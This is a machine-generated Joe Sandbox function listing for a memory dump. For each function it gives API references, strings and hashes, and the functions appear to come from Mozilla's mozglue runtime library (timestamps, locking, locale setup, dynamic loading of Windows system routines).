Function 6C9405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction ID: 73a8f098127d232a9f21d92a1a6c37f1d3d3a4972731a0e0cf7dec800167419c
Opcode Fuzzy Hash: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction Fuzzy Hash: 54A159B4A04705CFDB24CF29C984A9AFBF5BF58304F5486AED44A97B40E730A955CF90

Function 6C9914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9914E2
GetCurrentThreadId.KERNEL32 ref: 6C991546
InitializeConditionVariable.KERNEL32(?), ref: 6C9915BA
free.MOZGLUE(?), ref: 6C9916B4

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
Instruction ID: bdcef36b7a7bfdbae18831c1f2d1a4f3153a1b9676ba1882c0bbff8f618d0901
Opcode Fuzzy Hash: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
Instruction Fuzzy Hash: 25610176A057009BDB11CF20C880BDEB7B9BF9A308F49891CED8A57711DB31E958CB91

Function 6C989F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C989FDB
free.MOZGLUE(?,?), ref: 6C989FF0
free.MOZGLUE(?,?), ref: 6C98A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C98A0BE
free.MOZGLUE(?,?), ref: 6C98A0D5
free.MOZGLUE(?,?), ref: 6C98A0EB

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6d6bfc02e10dcd24022590405bb62634f08c9b69dfac766571d267b3b9787e12
Instruction ID: 7b8dac0d6a1c2be9f6d786e96fc359479a160f350306defbc2ffe3ae3ea0e452
Opcode Fuzzy Hash: 6d6bfc02e10dcd24022590405bb62634f08c9b69dfac766571d267b3b9787e12
Instruction Fuzzy Hash: 1A61C075909701DFC712CF18C48059AB3F5FF98328F548659E8999BB02EB32E996CBC1

Function 6C98DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C98D38A,?), ref: 6C98DC6F
free.MOZGLUE(?,?,?,?,?,6C98D38A,?), ref: 6C98DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C98D38A,?), ref: 6C98DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C98D38A,?), ref: 6C98DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C98D38A,?), ref: 6C98DD4A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction ID: 2ce19ddb2dd9f54414bc5e9da964c65ae58d7b9f1e3280b6a2589f3f2b16fd84
Opcode Fuzzy Hash: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction Fuzzy Hash: EB419FB6A01606DFCB40CF99C88099EB7F5FF98304B65486AD905A7B11D771FC00CB90

Function 6C976590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9767C8

Part of subcall function 6C984290: memcpy.VCRUNTIME140(?,?,6C992003,6C990AD9,?,6C990AD9,00000000,?,6C990AD9,?,00000004,?,6C991A62,?,6C992003,?), ref: 6C9842C4

Strings

data, xrefs: 6C976593

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction ID: aee33180df4681bef97eb8d9293adcbeb19e5d3273948276209c37bf5257c9b5
Opcode Fuzzy Hash: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction Fuzzy Hash: BBD1C075A093409FDB24CF24C851B9FB7E5AFE5308F10492DE58997B91EB30E909CB62

Function 6C98C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C98C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C98C842

Part of subcall function 6C98CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9AB5EB,00000000), ref: 6C98CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C98C863
std::_Facet_Register.LIBCPMT ref: 6C98C875

Part of subcall function 6C96B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9AB636,?), ref: 6C96B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C98C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98C8BC

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 3520421ba9fbfb9b912dcf79647987ea332dcacdade8a18d04b0cecf668ac1a0
Instruction ID: 207e976fa823208b1e98ea9fd2221866170c1d7666e802f5496ded7fce77046d
Opcode Fuzzy Hash: 3520421ba9fbfb9b912dcf79647987ea332dcacdade8a18d04b0cecf668ac1a0
Instruction Fuzzy Hash: C011C876B04209AFCF00DFA5C8D58AF7B78EF99354F200529E60697781DB34D909CB95

Function 6C96D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C93EB57,?,?,?,?,?,?,?,?,?), ref: 6C96D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C93EB57,?), ref: 6C96D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C93EB57,?), ref: 6C96D673
free.MOZGLUE(?), ref: 6C96D888

Strings

|Enabled, xrefs: 6C96D81E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction ID: 518a1d4f115dca210510e2e5d516a13717f5ba677d5c12c3752c2e10a77ecdbc
Opcode Fuzzy Hash: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction Fuzzy Hash: AEA129B1A043059FEB11CF6AC4907AEBBF5AF59318F24805DD859ABB81C730E945CBA1

Function 6C96F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C96F480

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

CloseHandle.KERNEL32(00000000), ref: 6C96F555

Part of subcall function 6C9414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C941248,6C941248,?), ref: 6C9414C9
Part of subcall function 6C9414B0: memcpy.VCRUNTIME140(?,6C941248,00000000,?,6C941248,?), ref: 6C9414EF

Part of subcall function 6C93EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C93EEE3

CreateFileW.KERNEL32 ref: 6C96F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C96F523

Strings

\oleacc.dll, xrefs: 6C96F4CB

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction ID: 28725f1d3eb96d14e761cc1b1ce595056ca2c789dcd871fafb49936c0e065e9b
Opcode Fuzzy Hash: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction Fuzzy Hash: EC41A5306087509FE720DF69C884BABB7F4AF5531CF504A1CF59593A90EB30D949CB92

Function 6C9974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C997526
__Init_thread_footer.LIBCMT ref: 6C997566
__Init_thread_footer.LIBCMT ref: 6C997597

Strings

UnmapViewOfFile2, xrefs: 6C997552
kernel32.dll, xrefs: 6C997557

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction ID: d06fc39f98530bd9b52d9d82359c16fdc32aa699cef7a7e22ef4d855daf0ea23
Opcode Fuzzy Hash: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction Fuzzy Hash: 6321C839705501B7DF148FF98894E9B337AEB97B2CF2805A9D40597F80CF31E90689A6

Function 6C99A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BF770,-00000001,?,6C9AE330,?,6C95BDF7), ref: 6C99A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C95BDF7), ref: 6C99A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C95BDF7), ref: 6C99A7E4
LeaveCriticalSection.KERNEL32(6C9BF770), ref: 6C99A80A

Strings

accelerator.dll, xrefs: 6C99A7BF

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 34329f6e6879a0a647f456c77b3968560924059e03c16ec785e2ae5caa21ad66
Instruction ID: 56130422ceee7cd159cbb73df1dcff560fbd32cdc00e365c4dc6e4fbec48cc2a
Opcode Fuzzy Hash: 34329f6e6879a0a647f456c77b3968560924059e03c16ec785e2ae5caa21ad66
Instruction Fuzzy Hash: ED01A278A04304AFDB04CF59D8C5D5277F8FB89B1871980AAE809CB751DF70E800CBA0

Function 6C93F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C93EE51,?), ref: 6C93F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C93F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C93F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C93F0DC
ole32, xrefs: 6C93F0AD

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6181b74b4c11ed0b3168b46331c6e50d85d4d5879ad2d6bc2ecc06d221156f84
Instruction ID: 8123e68a89decc43139c4ab89be34a55f4b83c632af37d08309ee9801ad05214
Opcode Fuzzy Hash: 6181b74b4c11ed0b3168b46331c6e50d85d4d5879ad2d6bc2ecc06d221156f84
Instruction Fuzzy Hash: 80E0D875748646FB9F045A7A9848A2737BC5B6350D324502DF906E1E50EB34D010C665

Function 6C970080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C947204), ref: 6C970088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9700A7
FreeLibrary.KERNEL32(?,6C947204), ref: 6C9700BE

Strings

wintrust.dll, xrefs: 6C970083
CryptCATAdminAcquireContext2, xrefs: 6C9700A1

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: bbf44a19da6c1112cf83737645a7ec11bd2c940902599b73dfa679f7049d2a45
Instruction ID: d2bc5a2834b2c398f77dee2730dc6bc03147186e3c410a1199d4bc0959044e0f
Opcode Fuzzy Hash: bbf44a19da6c1112cf83737645a7ec11bd2c940902599b73dfa679f7049d2a45
Instruction Fuzzy Hash: B3E09A7C649345BBEF10AF6598487037AF8A74B359F204055A916D2650E7B5D000DF69

Function 6C9700D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C947235), ref: 6C9700D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9700F7
FreeLibrary.KERNEL32(?,6C947235), ref: 6C97010E

Strings

wintrust.dll, xrefs: 6C9700D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9700F1

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 24dbbbc97fedeed9364d167a8b187fdc2dcdcaa0cc783c839326c167e2f84b29
Instruction ID: 07210193bdab786227a7d19a74e06b2181abb52c44688deb0c935b656ebcd385
Opcode Fuzzy Hash: 24dbbbc97fedeed9364d167a8b187fdc2dcdcaa0cc783c839326c167e2f84b29
Instruction Fuzzy Hash: 75E0127C34E305BBEF109F25994D7233AF8A707248F30A065AA0F81A90DBB1C0108A68

Function 6C99C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99C0E9), ref: 6C99C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C99C437
FreeLibrary.KERNEL32(?,6C99C0E9), ref: 6C99C44C

Strings

NtQueryVirtualMemory, xrefs: 6C99C431
ntdll.dll, xrefs: 6C99C413

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction ID: 7d1576485bfaa2d532d7f31a318b40795875c490c61c1542510355f2ea04ce6f
Opcode Fuzzy Hash: 091e0749a5a9174aef4491cd07300fa4c73c5b04e308113c162ef2748d48aad2
Instruction Fuzzy Hash: 9DE0B67C709301BBDF00BF75C9587137FF8A74630CF244156BA0A916A0EBB0D0018B98

Function 6C9975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C99748B,?), ref: 6C9975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9975D7
FreeLibrary.KERNEL32(?,6C99748B,?), ref: 6C9975EC

Strings

RtlNtStatusToDosError, xrefs: 6C9975D1
ntdll.dll, xrefs: 6C9975B3

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction ID: 7d89e057685b2a7d8c698299475d347703a36829d09283b33e6cb6b64a2af7f7
Opcode Fuzzy Hash: 81a9db345daabfd2e7060e7a045885d6ede8944b09e71bdb7e9d841938882a84
Instruction Fuzzy Hash: C7E092BD608305BBEB006FA2C8C87037AF8EB46618F2054A5B905E1650EBB0C24A8F59

Function 6C997600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C997592), ref: 6C997608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C997627
FreeLibrary.KERNEL32(?,6C997592), ref: 6C99763C

Strings

NtUnmapViewOfSection, xrefs: 6C997621
ntdll.dll, xrefs: 6C997603

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction ID: 0705f05431e83734ca511bd2bb0a90453bddbd0549295556dad18567c1f38900
Opcode Fuzzy Hash: 3dcbd7fd42b3aba2fe3e8c7634f053d356297819a7b4c661a35bd9298202b06a
Instruction Fuzzy Hash: 3CE092BC609301BBDF006FAA888C7077AB8E75B65DF204195E905D1650EBB0C0058F5D

Function 6C99BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C99BE49), ref: 6C99BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C99BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C99BE49), ref: 6C99BF38
RtlReAllocateHeap.NTDLL ref: 6C99BF83
RtlFreeHeap.NTDLL ref: 6C99BFA6

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
